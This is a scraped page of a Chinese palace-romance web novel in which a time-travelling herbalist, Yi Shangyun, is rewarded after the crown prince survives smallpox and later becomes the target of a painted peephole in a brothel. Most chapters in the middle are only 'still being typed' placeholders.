轩辕昊急急回头看向衣上云,悄悄对其挤眉弄眼暗示她不必客气尽管开口。

然而却听到衣上云说了句......

第五十六章:人命至重,贵若千金

轩辕昊急急回头看向衣上云的脸,悄悄的对其使了个眼色,暗示他不必客气尽管开口。然而却只看到衣上云眼睛看了看殿外的张致远后说道。

“启禀陛下,太子殿下的天花此次能够得已痊愈,完全是东华宫上下众人同心协力的结果,尤其是张院判大人,他潜心研究配制良药,这才使得殿下能够安然无恙提早康复,张大人才是最该嘉奖之人。奴婢只不过是尽了一个奴才该尽的本份而已”

轩辕昊听了目瞪口呆甚是一愣,他不敢相信眼前这个女人竟然将这么好的一个机会就这样拱手相让,而且是让给一个之前对自己成见颇深之人。

这时,璟帝听了衣上云的这席话开口道“来人,宣张致远觐见”

“罪臣张致远拜见吾皇万岁万岁万万岁!皇上,微臣失职,还请皇上降罪”张致远进入殿内便俯首跪拜说道。

“张致远,朕今日本应治你个失职之罪,但有人言你在太子染病期间,潜心研究配制良药,这才让太子能够安然无恙。故朕暂且饶你一命,日后你若再犯,必将与你罪加一等”

璟帝看了衣上云一眼对他说道,张致远这才反应过来璟帝口中所言极力维护他的人竟是她,一时间方感愧不当初,一脸歉意地看着衣上云低垂着的脸。

“皇后娘娘驾到,公主驾到”

正在此时,门外传来公公的通报声。

只见轩辕玥双手搀扶着皇后,俩人迈着大步匆忙的进入东华宫大殿,一进来便行礼道:

“臣妾参见陛下”

“玥儿拜见父皇”

“平身”璟帝话音刚落,轩辕昊便急急上前行礼“儿臣给母后请安,皇姐安好?”

“皇儿快起来,让母后好好瞧瞧”皇后心急如焚,一路几近狂奔,终于和轩辕玥赶到了东华宫内。

皇后拉着轩辕昊起身来,双手泪眼婆娑着捧起那张英气的少年脸孔。左看右看,上看下看,细细端详了好一会儿,见没有发现什么异常,接着又掀起衣袖将其手臂翻来覆去如同审视般仔仔细细看了个遍,最终将其一把拥入自己怀中,一只手甚是心疼地抚摸起轩辕昊的头来。

轩辕玥看见亦是嘟着嘴巴缓缓走过去将俩人一起拥着,三人喜极而泣拥作一团。

“我可怜的皇儿”

“皇弟”

“母后”

“皇姐”

衣上云静静地站在一旁,瞬间紧紧的抿起了那张小嘴微笑着看着眼前这幸福的母子三人,让她亦是瞬间感动的眼里噙满了泪水。

这时,璟帝双手负后缓缓朝着母子三人走了过来道“好了,如今总算是有惊无险,既然痊愈了,以后就好好在宫中陪伴你母后左右吧,也不必再四方游历了”

说完这句,璟帝便径自走出了东华宫寝殿,在场众人皆行礼恭送。

“臣妾恭送皇上”

“儿臣恭送父皇”

“儿臣恭送父皇”

“老臣恭送皇上”

“奴婢恭送皇上”

璟帝一走,轩辕玥和轩辕昊便紧紧抱在一起蹦蹦跳跳起来说道“皇弟,真是太好了,父皇终于恩准你再也不必离开皇宫了”,皇后看着此时眼前这一双健康欢乐的儿女,心里尽是说不出的喜悦和欣慰。

但对她而言更重要的是,经过这次天花,璟帝竟然将轩辕昊永远留在了自己身边。想着想着,她不禁又回头去深情的看着璟帝离去的背影口中喃喃道“陛下...”

“云儿,快过来”轩辕玥忽然轻唤起此时还在一边沉浸在别人母慈子孝幸福浓浓的亲情当中.

听到轩辕玥的召唤,衣上云才缓缓走过去道“云儿参见公主殿下”

“母后,玥儿赢了”衣上云一走过来,轩辕玥定睛朝她微微一笑,随即回头看向皇后满脸骄傲神气和自豪地对皇后说道。

皇后亦是微笑着看了看眼前这个瘦小的女子,她还真没想到轩辕玥这个赌约真的会赢,而且赢得如此漂亮,让人惊叹。

“你就是衣上云?”皇后微笑着问。

“奴婢正是御药房药女,衣上云”她不卑不亢从容自若地上前回皇后的话。

“此次太子染疾,你侍疾有功,本宫要重重赏你,之前玥公主已经为你求了本宫...”

就在皇后话刚说到一半的时候,一旁的轩辕玥忽然不停地重咳起来“咳...咳...”

皇后闻声随即关切地目光朝着轩辕玥看去,只见轩辕玥微微向着她一摇头便随即接着皇后的话说道“云儿,本公主已经为你请示了母后并决定,除夕将至,赏你黄金千两,并恩准你提前出宫回家过年。回去后好好准备,年后便要进秦王府了”

皇后听闻轩辕玥此言甚是惊讶,心想:这个女儿可真是够大方的。前几日才为了眼前这个丫头坑了她十里红妆,今日竟又讹了她黄金千两。不过,只要他的皇儿平安喜乐,这些金银对她而言又算得了什么呢?!

正在这时,轩辕玥回头古灵精怪挤眉弄眼地朝皇后道“母后,玥儿所言可否属实?”

“哦,无误,无误,玥儿所言确实属实”皇后无奈地微笑着配合她道,然衣上云此时看着这对母女俩的神情却感觉甚是怪异的样子。

“进秦王府?皇姐,云儿为何年后要进秦王府?”轩辕昊听了轩辕玥方才的话不解地急急问道。

“皇弟,你刚回宫,此事说来话长,以后皇姐再慢慢跟你解释”轩辕玥确实很难一言两语就将这么大的信息量跟轩辕昊传输明白。

“云儿,这段时间辛苦你了,快回去好好休息休息,领了赏便出宫去吧......云儿,你自由了!”轩辕玥一脸不舍却又充满希冀地看着衣上云说道。

“自由?!...”衣上云听了却顿时低眼轻叹了一声,随即深吐了一口浊气。

“哦...对了...”轩辕昊忽然发声,只见他轻轻从手腕上正摘下着那只七彩 金丝彩玉镯子。

“衣药女,这个镯子本太子今日信守承诺还给你,既是重要的人赠的,以后切莫再随意应允旁人佩戴了。不过话说回来,这个镯子真的很有灵性,仿佛本太子就是因为佩戴了它,一夜之间便祛除了身上所有的天花麻斑,确实是个难得的宝物,日后你可要保管好了”

轩辕昊一边说着,一边将玉镯递到衣上云面前。

衣上云缓缓伸出双手去接过轩辕昊手中递来的熟悉的玉镯,眼睛一眨不眨的盯看了半天,然脸上却始终表情凝重着。

这个镯子如今现在对她而言,她真的不知道还有什么意义。

如果说它真的有穿越前外国科学家所说的那样强大的功能,却为何这么久还不能为己所用炼制解药祛除原主脸上的血管瘤,可轩辕昊的天花麻斑冥冥之中仿佛是与这镯子脱不了干系;

又如果说这个镯子会因穿越时空而丧失其强大功能,那它如今存在的意义便只是为了纪念魏明轩,那就更没有意义了,因为她在这个灵空大陆的西秦国里,显然不知归期是何夕?又该如何才能回去?她至今无一点头绪。

“什么宝物?什么很有灵性”皇后听见忽然轻声好奇的一边说着一边迈步过来打断了衣上云的思绪。

“皇后娘娘,它并不是什么宝物,也无什么灵性,是太子殿下喜欢,随便说着玩的。它只不过是一个普通的金丝玉镯而已,娘娘请看”衣上云说着便将镯子递给了面前的皇后。

皇后接过镯子优雅的拿捏在指间细细端详了半天忽然轻声说道“七彩 金丝玉镯...这个镯子...本宫好像在哪里见过?”

皇后沉思了许久,始终没有想起来,或许是时间太久了,一直半会儿难以记起,便只得物归原主。

“哎呀...母后...云儿照顾了皇弟大半个月,够辛苦了,还不快让她下去好好休息休息”这时,轩辕玥上来替衣上云解围道。

“云儿,快去吧”轩辕玥边说边使眼色急急打发衣上云走,不愿让人再烦她。她上次落下严重的腿疾至今还未愈呢,又被轩辕昊的天花接连着折腾了大半个月,此刻必须得好好休息了。

衣上云遵命退下了大殿去。刚一走出东华宫的宫门,太医院首席院判张致远迎面走了过来。

这会儿他对衣上云不再横眉竖眼,而是一副彬彬有礼,儒雅十分客气地急急上前来对她说“衣药女请留步”

衣上云闻声渐渐收起了脚步,只听他清楚地上前说道“衣药女心怀宽广,不计前嫌替老夫在皇上面前求情开恩,老夫实在受之有愧”

衣上云见他大转变的态度确实有些惊讶,但仍旧一脸严肃对其说道“张院判乃身为西秦皇宫太医院肱骨之臣,可曾听说过人命至重,贵若千金,一方济之,德逾于此.这句话”

“衣药女,都怪老夫一时疏忽大意才至于此”张致远听后似是后悔莫及道。

衣上云听了冷哼一声“哼,奴婢还是最初的那句话:医者仁心,还望张院判日后好自为之”

话刚说完她便匆匆迈步离去,张致远看着她远去瘦小的背影心里却不禁感叹道......

第五十七章:西秦皇后天涯海角的承诺

“衣药女,都怪老夫一时疏忽大意才至于此”张致远甚是后悔莫及道。

衣上云听了他这番说词,却冷哼一声“哼,奴婢还是最初的那句话:医者仁心。奴婢言尽于此,还望张院判日后好自为之”

说完她便匆匆迈步离去,张致远看着她那渐渐远去瘦小的背影,心里不禁感叹道“真是一奇女子!如此临危不惧、舍己为人、仁心仁术、妙手回春”

显然他亦自知,轩辕昊之所以能在此天花大劫中安然无恙,衣上云比任何人承担的风险和付出的辛劳都要多。也正因为她把东华宫众人都挡在了殿外才使得所有人乃至整个西秦皇宫再无一人被感染,而轩辕昊身上天花麻斑的消除十有八九也定是和她脱不了干系。

轩辕玥的风华宫里,雍容华贵的皇后正满脸疑问地问道“玥儿,你明明跟母后打赌为衣上云那丫头赢取了一份十里红妆,方才又为何不让那丫头知道,却要另外赐她黄金千两呢?”

“什么?皇姐,你可真厉害,竟然跟母后打赌赢了十里红妆,为谁?...衣上云...难不成那丑丫头已有了意中人,皇姐怕她没有体面的嫁妆,故而为之?”轩辕昊急急抢了皇后的话甚是惊讶地道。

然轩辕玥却一直抿着嘴低着眉眼轻轻笑着,片刻后只见她抬头望向皇后说“母后,玥儿原本只是个集万千宠爱于身的骄傲的公主。是云儿的出现,让玥儿感受到生命里还有最诚挚的友谊。云儿她善良、坚强又勇敢,对玥儿更是以命相护。玥儿从来都不曾当她是个奴婢,玥儿之所以为她问母后所求,只不过是希望她出嫁后的余生里,能够有母后的尊贵身份做靠山而不被夫家轻视,能够保她一生无忧罢了”

说着说着,她的眼里竟噙满了泪水停了片刻后,继续接着说“玥儿自知,留在西秦的时日已不多。以后天涯海角,想见自是不易,或许有生之年都不会再见了。秦皇叔大婚那日,婚礼筹办场面甚是盛大壮观。玥儿便许诺她,有朝一日,云儿出嫁玥儿亦是要让她风风光光。所以,玥儿在离开西秦之前,务必于她兑现诺言安排好一切方能安心离开”

皇后和轩辕昊在一旁认真地听着轩辕玥这番发自肺腑让人震撼的话,皇后忽然打断她问“那玥儿又怎知她此次一定可以保你皇弟安然无恙呢?如果她做不到,你又该如何兑现你的承诺?”

轩辕玥轻笑,答“只要云儿决定要做的事情,就没有做不到的。玥儿相信她,一直都信她,永远都信她”

皇后见轩辕玥如此看重与衣上云的这份感情,所谓“锦上添花易,雪中送炭难,人生难得一知己”,便问“那皇儿为何不将那丫头留在自己身边,相伴一生呢?如果皇儿愿意,母后必定全力帮皇儿安排,之前都怪母后多心,以小人之心度君子之腹,错怪了玥儿和那丫头,才唆使着将她赐给了秦王妃,如今看来却是母后错了”

然轩辕玥泪眼朦胧着苦笑道“不必了,母后。玥儿当然想她永远陪着玥儿,如此玥儿此生便再也无憾了。母后可知,当玥儿得知秦皇婶向父皇要了云儿到秦王府做她的贴身医女时,玥儿有多气恼多着急吗?可是玥儿不能让她跟着玥儿一辈子流落在异国他乡,始终为漂泊的异客啊。更何况,如今西秦国里或许可能有人比玥儿更需要她...”

轩辕玥心想,就算她想带衣上云走,衣上云亦是愿意跟随的,从此,俩人便可一生为伴。怕只怕,轩辕翰是绝对不会同意的,轩辕翰对衣上云的心思在轩辕玥看来是如此明显,嫁到秦王府,那也是早晚的事。

而秦王府如今已经有了富甲一方的东宁国公主梅汐媛先入为主,成为秦王正妃,如果衣上云以后要进秦王府的门,有了这十里红妆做嫁妆以及西秦皇后做她的靠山,梅汐媛日后也定会因此有所忌惮,衣上云也少受些她的羞辱与歧视。

“玥儿,是母后无能,不能将你留在西秦国内一生一世。如果有来世,玥儿千万不要再做母后的皇儿了,就做一个平常百姓家的儿女,永远在父母身边承欢膝下,安享天伦”皇后听完一边说着便哭了起来。

瞬时,轩辕玥和轩辕昊一同跪向了皇后身边,母子三人又一次抱团哭了起来。

最后,皇后对轩辕玥哽咽道“玥儿,你放心。母后承诺你的,母后一定会做到。等到那丫头出阁之日,不管她嫁到天涯海角,母后必以十里红妆将她风风光光送进夫家大门”

城东秦王府里。

程良正在向主子禀告着刚刚收到的来自皇宫里的消息“殿下,宫里传来消息,今日一早东华宫撤销了隔离,说太子的天花已经痊愈,而且太子全身未留下丝毫麻斑”

“这怎么可能,向来天花之症者病愈后必会留下一生永久的麻斑,难道本朝太医的医术竟已达到如此高的境界”轩辕翰甚是惊讶的说道。

“宫里众人也对此甚是不解,只说是皇上听了太子的话,说这一切都是衣药女的功劳,并为衣药女向皇上邀功请赏。衣药女却将此盛功推给了素来对她成见颇深的太医张致远,张致远也因此才未被皇上再行重罚”程良详细道着。

“果然又是她...”轩辕翰预料之中似的说道,眼睛也微微抬起随即嘴角露出一抹好看的弧度。

他就知道这个倔强而又无所畏惧的女人决定了要做的事情,就一定能成功,他果然没看错。

程良饶有兴致出神般地看着主子脸上此时那久违了的好看的表情,愣着。

片刻后,轩辕翰似乎发现了一旁他的观望,便哼了两声恢复了贯日里的严肃之态问“还有事?”

程良的痴愣被主子的声音惊醒,接着说“殿下,衣药女被玥公主向皇后请赐...今日傍晚提前出宫回衣府过年,还赏了衣药女黄金千两”

“这是她该做的...治疗腿疾的神医找的如何了?”轩辕翰若有所思,然后又忽然问道。

“属下还在找,只是都听闻了冻伤和损伤极为严重,连宫里的条件和太医都束手无策不能治愈,都说...怕是无望了”程良小心翼翼说着怕主子发怒,心里自然也是替衣上云担心着。

然轩辕翰却只是深深蹙眉沉思片刻,忽然吩咐到“让陆贤去找”

程良听了低头不解道“西秦学院会有线索?”

然轩辕翰说完却迈步急急朝殿外走去,边走边道“进宫”

“现在进宫?都这个时辰了...”程良惊叫一声,然只能快步跟上。

西秦城南一片烟花柳巷聚集之地,万娇阁里依旧莺歌燕舞、千娇百媚。

冬天即使再冷,也挡不住这些豪门富户、权贵雅士、名门望族出门来寻找乐子,皆都流连忘返于此。

跑堂大茶壶的身影依旧像只猴子般飞奔在堂里忙得不亦乐乎。老鸨也依然满面红光的喜迎着四方而来的一个个财神爷们。

眼看着再过两日便是一年一度的除夕之夜了,这里的人气便更是旺了几分,在外忙碌的人儿都已纷纷归乡来,大家总免不了相约着齐聚一起来一睹这西秦国里最气派高档的风月之地,顺便在此寻个美人儿共度“良宵”。

阁楼上玉娘自从上次跟老鸨摊牌说要面见主子后,至今老鸨却都借口以主子繁忙抽不开身来搪塞她。

此时,玉娘正独自坐在窗前单手托腮郁郁寡欢着,望着窗外满是萧条的一片冬景。

年关将至,不知婆婆女儿是否丰衣足食?是否在想念着她?亦不知他那可怜的夫君是否尚在人间?和她一样每日里都期待着全家团聚的那一日。

带着满面优思的她,忽然移动视线却不小心扫到了对面角上的阁楼,一扇半开着的窗户。只见窗口探着一玉色花瓶,里面插着几支开的正旺的寒梅。她有些好奇,口中喃喃道“来万娇阁这么久了,我竟不知那个房间里还住着人?”

带着些许好奇,她缓缓起身准备下楼前往后院,想一探究竟。

谁知刚跨过门槛,当她小心翼翼地掩好门,一个转身后竟撞上了一个身姿挺拔的男子身影。她一时受惊,立马低头道歉“对不起,对不起,我不是有意的”

一直都低着头不敢抬起怕被人认出的她,只听眼前那人说道“小姐慌慌张张的,不知这是要去哪儿啊?”

“我...我...我只是呆在房中太久,太憋闷了,想出来透透气...对...透透气...我这就回去,公子...对不住了”玉娘说着便转了身欲要回房里去。

“小姐请留步,既然房里憋闷,就要多出来透透气才是。小姐如此美貌,理应多出来露露脸才好”男子微笑着拦住了她说道。

玉娘这才回头轻声地道“让公子见笑了,敢问公子尊姓大名?”

“哦...本公子乃北烈国商人,姓拓跋,单名一个泽字”

“原来是北烈国拓跋公子,玉娘有礼了”玉娘即刻欠身行礼道。

“正巧,本公子这几日就歇在这万娇阁里,如果小姐不嫌弃,就至本公子房内坐坐,如何?”就在这时,老鸨看见了俩人便匆匆上楼来道“公子,您怎么不在后院,过来这边了?”

拓跋泽微笑着对老鸨说“哦,本公子无聊,随便到处走走,看到这个美人,不知可否请她到本公子的房间稍坐片刻呢?”

老鸨这时才冲着玉娘没有好脸色的道“公子赏你脸,你还不速速去好好作陪,傻杵在这里干什么?”

玉娘本就无意与外人接触,然当她听到“北烈国”三个字的时候,心里却瞬间激动不已,于是便欣然接受了老鸨的安排和面前这个自称作拓跋泽的男子的邀请说道“是,玉娘听命”

于是,她便跟在拓跋泽身旁缓缓向着后院里走去。

第五十八章:珍珑棋局已布,待君入局

《百世契约:药妃,宠不停》第五十八章:珍珑棋局已布,待君入局 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第五十九章:伤别离,忽然想起他

《百世契约:药妃,宠不停》第五十九章:伤别离,忽然想起他 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十章:除夕夜的约定

《百世契约:药妃,宠不停》第六十章:除夕夜的约定 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十一章:回到,梦开始的地方

《百世契约:药妃,宠不停》第六十一章:回到,梦开始的地方 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十二章:丫头,只要你好好的

《百世契约:药妃,宠不停》第六十二章:丫头,只要你好好的 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十三章:玉镯与胎记的秘密

《百世契约:药妃,宠不停》第六十三章:玉镯与胎记的秘密 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十四章:腊月春与寒荒酿

《百世契约:药妃,宠不停》第六十四章:腊月春与寒荒酿 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十五章:一石二鸟

《百世契约:药妃,宠不停》第六十五章:一石二鸟 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十六章:姐妹情深,合力抗敌

《百世契约:药妃,宠不停》第六十六章:姐妹情深,合力抗敌 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十七章:试探,毁了这个劳什子

《百世契约:药妃,宠不停》第六十七章:试探,毁了这个劳什子 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十八章:寒荒山,山如其名

《百世契约:药妃,宠不停》第六十八章:寒荒山,山如其名 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第六十九章:其实,我不是你家小姐

《百世契约:药妃,宠不停》第六十九章:其实,我不是你家小姐 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十章:出身唐门的文曲星

《百世契约:药妃,宠不停》第七十章:出身唐门的文曲星 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十一章:狭路相逢,冤家路窄

《百世契约:药妃,宠不停》第七十一章:狭路相逢,冤家路窄 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十二章:雪流沙

《百世契约:药妃,宠不停》第七十二章:雪流沙 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十三章:情敌互怼

《百世契约:药妃,宠不停》第七十三章:情敌互怼 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十四章:原是,九星连珠日出生女

《百世契约:药妃,宠不停》第七十四章:原是,九星连珠日出生女 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十五章:躯体上的神秘封印

《百世契约:药妃,宠不停》第七十五章:躯体上的神秘封印 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十六章:冰美人蛊毒

《百世契约:药妃,宠不停》第七十六章:冰美人蛊毒 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十七章:嫡公主,会不会是她?

《百世契约:药妃,宠不停》第七十七章:嫡公主,会不会是她? 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十八章:白莲花正式入住秦王府

《百世契约:药妃,宠不停》第七十八章:白莲花正式入住秦王府 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第七十九章:既生汐,何生云

《百世契约:药妃,宠不停》第七十九章:既生汐,何生云 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十章:狐狸尾巴快要露出来了

《百世契约:药妃,宠不停》第八十章:狐狸尾巴快要露出来了 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十一章:在西秦的最后一顿年夜饭

《百世契约:药妃,宠不停》第八十一章:在西秦的最后一顿年夜饭 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十二章:第一次包饺饵

《百世契约:药妃,宠不停》第八十二章:第一次包饺饵 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十三章:同是天涯沦落人

《百世契约:药妃,宠不停》第八十三章:同是天涯沦落人 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十四章:郊外,神秘的世外高人

《百世契约:药妃,宠不停》第八十四章:郊外,神秘的世外高人 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十五章:神药,是真是假?

《百世契约:药妃,宠不停》第八十五章:神药,是真是假? 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十六章:都是轩辕皇族的

《百世契约:药妃,宠不停》第八十六章:都是轩辕皇族的 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

087意乱情迷,不省人事

《百世契约:药妃,宠不停》087意乱情迷,不省人事 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十八章:吻痕

《百世契约:药妃,宠不停》第八十八章:吻痕 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第八十九章:都是他的气息

《百世契约:药妃,宠不停》第八十九章:都是他的气息 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十章:当年,恩人所愿

《百世契约:药妃,宠不停》第九十章:当年,恩人所愿 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十一章:没有说那句话的资格

《百世契约:药妃,宠不停》第九十一章:没有说那句话的资格 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十二章:繁华落尽,残梦不醒

《百世契约:药妃,宠不停》第九十二章:繁华落尽,残梦不醒 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十三章:爱一人,不自知

《百世契约:药妃,宠不停》第九十三章:爱一人,不自知 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十四章:沐雪听寒

《百世契约:药妃,宠不停》第九十四章:沐雪听寒 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十五章:这辈子,谁还敢娶

《百世契约:药妃,宠不停》第九十五章:这辈子,谁还敢娶 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十六章:如若撒谎,加倍惩罚

《百世契约:药妃,宠不停》第九十六章:如若撒谎,加倍惩罚 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十七章:下一世,你还我

《百世契约:药妃,宠不停》第九十七章:下一世,你还我 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十八章:神秘的守护者

《百世契约:药妃,宠不停》第九十八章:神秘的守护者 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第九十九章:七尺男儿,岂能荒唐一世

《百世契约:药妃,宠不停》第九十九章:七尺男儿,岂能荒唐一世 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百章:守株待兔

《百世契约:药妃,宠不停》第一百章:守株待兔 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零一章:意外的红包

《百世契约:药妃,宠不停》第一百零一章:意外的红包 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零二章:去万娇阁,捎你一程

《百世契约:药妃,宠不停》第一百零二章:去万娇阁,捎你一程 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零三章:长相思

《百世契约:药妃,宠不停》第一百零三章:长相思 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零四章:江大哥

《百世契约:药妃,宠不停》第一百零四章:江大哥 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零五章:琼枝一树,又一白袍公子

《百世契约:药妃,宠不停》第一百零五章:琼枝一树,又一白袍公子 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零六章:万娇阁内,高调寻人

《百世契约:药妃,宠不停》第一百零六章:万娇阁内,高调寻人 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零七章:蓝狐蝶图

《百世契约:药妃,宠不停》第一百零七章:蓝狐蝶图 正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

第一百零八章:暗藏玄机的两幅画

梅志煊从万娇阁的前厅里一路跟着嫣红,一进到位于二楼最边上的房内。嫣红便满脸含羞着伸出一双手来,欲拒还迎地想要替其褪去外衣,伺候其歇息。

然梅志煊看着她此时露着似是有些被强迫的神情,好似已看穿了她的内心。

忽然,他伸出一只温润如玉的大手,一把紧紧地捉住了嫣红那双似凝脂般细嫩的玉手,就在其正要抽去他的腰带时,冷声对其质问道“你是新来的?”

嫣红随之惊愕地仰起面来,一双清澈的美目怔怔地望着眼前男子脸上的蝶形面具下,那双犀利而又深邃的眼眸,原本就一副楚楚可怜的小模样,此时更多惹了几分怜爱。

于是,她怯怯地对梅志煊柔声细语道“嫣红刚来万娇阁没几日,伺候公子不周,还望公子莫要责怪。”

“本公子不喜欢强求......”梅志煊一边借口说着,一边将嫣红的手送还了回去。

可见她此时似是又有些丧气懊恼地低垂下了头来,微微抿着那片温软的红唇,面露出一丝黯然的难色。

一转念,梅志煊又安慰其说道“好了,不是小姐你的问题。而是本公子今日真的累了,所以,小姐就不必在房内伺候了。只是劳烦嫣红小姐去帮忙准备些酒菜上来,本公子早早便从城西一路赶来这万娇阁,至今尚都还粒米未进呢?”

说着,梅志煊将一锭金元宝拿了出来递到她手里,嫣红这才终于抬起头来,含笑道“是嫣红疏忽了。如此,那请公子在房内稍候片刻,嫣红这就下去准备。”

说完,女子便欣然地转身离去,将门轻轻掩上。

梅志煊这才松了口气,一回神,便急急上前将房门反锁起来。

随后,又大步流星地朝着房内挂着蓝狐蝶图的那面墙走去。

对着图仔细端详打量了半晌,似是也并没有发现什么不妥之处。

无奈,梅志煊只能如侍卫所言,将眼睛亦朝着那画中蓝狐的眼睛对了上去。

果然,和侍卫所言一模一样,这幅绘制的甚为栩栩如生的蓝狐蝶图确实暗藏玄机。

透过图中那只蓝狐的双眼,他亦很快便清清楚楚地看到了对面房内的衣上云。

此时,衣上云在隔壁房内正朝着他眼前走来……

一到屏风后面,衣上云亦是同样一眼便看到了墙上挂着的与梅志煊所在房间里一模一样的一幅蓝狐蝶图。

原来,这两幅图就悬挂在同一面墙上,不同的两侧却相同的位置。

画中,亦是一只在冰天雪地里,其毛色和蓝色的海水相应,正奔跑在一条漫长的海岸线上的蓝狐正昂首阔步,追逐着一只翩翩起舞的蝴蝶,似是在互相追逐嬉戏着。

而那只蝴蝶全身透明,作画者刻意在其身上描出几条黑色脉络

,才使得若隐若现出一个蝴蝶轮廓来,它正挥舞着翅膀展露着其优美的舞姿,起舞时挥动双翅在地上撒落下的点点冰花,呈现出一道七彩的光辉。

衣上云一下子便被眼前的图画惊呆了,这即便是在21世纪,也绝对没人能画出如此逼真的图画来。

静静地远观了半晌后,她方才稍微缓过点儿神来,却仍旧一边痴望着,一边慢慢迈步朝着眼前的蓝狐蝶图走过去。

她伸出手来轻抚着画中的每一处焦点,又将双目凑过去仔细观察,这画儿竟像是要把人的魂魄也吸进去一般,让人深陷其中不能自拔。

而让衣上云奇怪的是,无论她再如何仔细查看,它原来真的只是一幅普通的画而已,除了画的栩栩如生以外,并未发现其它与众不同之处。

殊不知在这两幅一模一样的画中,其中梅志煊这边的这幅,实际上是有人故意临摹出来的,可见这临摹者是有多钟情于这幅画,才能达到如此高的相似度。

就连整幅画最关键的灵魂之处——那对被临摹的出神入化的蓝狐眼睛,亦是丝毫不差。

而实际上,这两幅蓝狐蝶图的整个玄妙核心的全部,也正是在这蓝狐的眼睛上。

蓝狐眼睛后面的墙壁上,被人凿通了两个小孔,又下了不少功夫。

不仅如此,两幅图除了蓝狐的眼睛以外,都是用普通颜料作画的。

所以,任谁都很难看出任何端倪来。

而实际上,在临摹梅志煊这边的画儿时,蓝狐的眼睛所用的颜料,是一种极为特殊罕见的颜料。

这种颜料画出的画儿,表面上看起来与一般颜料所出无异,却可使人目光透过去清楚地看到对面的事物;

而衣上云那边的画儿里,在原来已有的蓝狐眼睛上亦再次涂了另一种特制的颜料,却不能像梅志煊那样可以透过去看到对面的事物,而是能让对面的人透过来看到自己这边的事物。

所以,当衣上云心里突发好奇,亦将眼睛对准到画中的蓝狐眼睛上时,梅志煊瞬间被惊吓到,急急用俩只手遮住了自己这边的两只蓝狐眼睛。

其实,就算他不遮,衣上云亦是看不到他的存在。

见其亦是没有什么玄机,所以她便回过神来继续更衣。

而片刻后,梅志煊又试探着将那双炯炯有神的眼睛凑了上来,再次对准了这双神奇的蓝狐眼睛,朝对面窥探去……

神秘诱人的酒红色纱帐内,一扇万紫千红,百花争艳的木质屏风前,昏暗的烛火下,衣上云缓缓除去了一身男子的雪白棉袍,顿时现出一个亭亭玉立的曼妙少女来。

少女的一

第一百零九章:南安太子与东宁皇子初较量

终于,易君浩在驻足凝视了挂在梅志煊房内的那幅蓝狐蝶图许久后,渐渐地半眯起那对迷人的桃花眼,皱起眉头,口中自言自语地疑惑道“冰美人?这里怎么会有这幅画?”

